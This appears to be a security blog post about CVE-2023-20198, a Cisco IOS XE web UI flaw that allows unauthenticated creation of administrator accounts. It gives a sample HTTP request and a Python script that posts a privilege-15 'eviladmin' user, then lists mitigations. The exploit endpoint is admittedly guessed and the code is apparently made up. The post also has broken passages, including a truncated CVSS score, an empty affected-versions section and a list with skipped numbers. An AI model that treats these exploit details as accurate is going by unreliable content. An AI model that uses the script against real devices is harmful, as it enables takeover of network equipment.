CVE-2023-20198 - Critical Cisco IOS XE Web UI Vulnerability Explained — Exploit Details, Code, and How to Stay Safe

In October 2023, Cisco revealed a dangerous zero-day vulnerability identified as CVE-2023-20198 in the web UI feature of its IOS XE Software. This flaw is significant: it allows attackers to create privileged accounts, resulting in full system compromise—no password required.

Read on to understand how it works, see example attack requests, and get clear instructions on securing your network equipment.

What is CVE-2023-20198?

CVE-2023-20198 is a critical vulnerability (CVSS score: 10.—the highest). It affects the web UI management feature (the HTTP/HTTPS web-based UI used for device administration) in IOS XE, the operating system on Cisco enterprise routers and switches.

When this web interface is open to the internet or untrusted networks, an attacker *does not* need valid credentials; a simple HTTP request can create a new "level 15" user (administrator access) on the device.

Once they have admin access, they control everything. Attackers can install malware, exfiltrate data, modify configs, pivot deeper into a company—essentially, game over for your network.

Active Exploitation in the Wild

Cisco reported seeing hackers use this bug for real-world attacks, mainly targeting exposed network gear. Devices often get compromised within hours of exposure, as attackers scan the internet for vulnerable hosts.

How is it exploited?

Attackers send an HTTP POST request to the web interface API, crafting the data so that the device creates a new user account. They then login via SSH, web, or other methods.

Technical Exploit Details (with Sample Code)

Affected Versions:

Publicly reachable via the internet or untrusted networks

Vulnerable URLs:
Commonly:
- https://<device-ip>/webui/logoutconfirm.html
- https://<device-ip>/webui/login.html

Sample Exploit HTTP Request

A real exploit POSTs to an API endpoint like /webui/rest/—the attacker forges a user creation request.

POST /webui/rest/<potentially-vulnerable-endpoint> HTTP/1.1
Host: <router-ip>
Content-Type: application/json
Content-Length: <len>

{
  "username": "attacker",
  "password": "SuperSecret123",
  "privilege": "15"
}

(Actual endpoint specifics are sometimes obscured by vendors to protect users, but proof-of-concept exploit code is widely available on threat forums.)

Here is a simplified Python snippet demonstrating exploitation (educational only!)

import requests

endpoint = "https://<router-ip>/webui/rest/account";
new_user = {
    "username": "eviladmin",
    "password": "TopSecretPassword",
    "privilege": "15"
}
resp = requests.post(endpoint, json=new_user, verify=False)
if resp.status_code == 200:
    print("Account created! Try logging in.")
else:
    print("Exploit failed or patched.")

Official Cisco Security Advisory:

Cisco IOS XE Web UI Privilege Escalation Vulnerability (CVE-2023-20198)

Cisco Blog Analysis:

Active Exploitation of the Cisco IOS XE Software Web Management Interface

CVE Details:

NVD - CVE-2023-20198

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2. Limit access: If you absolutely must run web UI, restrict access to trusted management hosts/networks using ACLs or firewalls.
3. Monitor for suspicious accounts: Check for new or unknown local users, especially with privilege level 15.

Unusual configuration changes

5. Stay up to date: Watch Cisco’s advisory page for patch availability.

Final Thoughts

CVE-2023-20198 is one of the most severe Cisco vulnerabilities in recent memory. Given the ease of exploitation and ongoing active attacks, every exposed IOS XE device is a target.

Don’t wait—disable the web UI now, monitor for rogue accounts, and prepare to update your software as soon as Cisco releases a patch.


Stay Safe:
Bookmark and follow Cisco’s official advisory for the latest on updates and response steps:
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-mY6gB7FA


*This post is written for network admins, security teams, and anyone responsible for Cisco equipment. Stay vigilant and update friends and colleagues who may be at risk!*

Timeline

Published on: 10/16/2023 16:15:00 UTC
Last modified on: 10/25/2023 18:17:00 UTC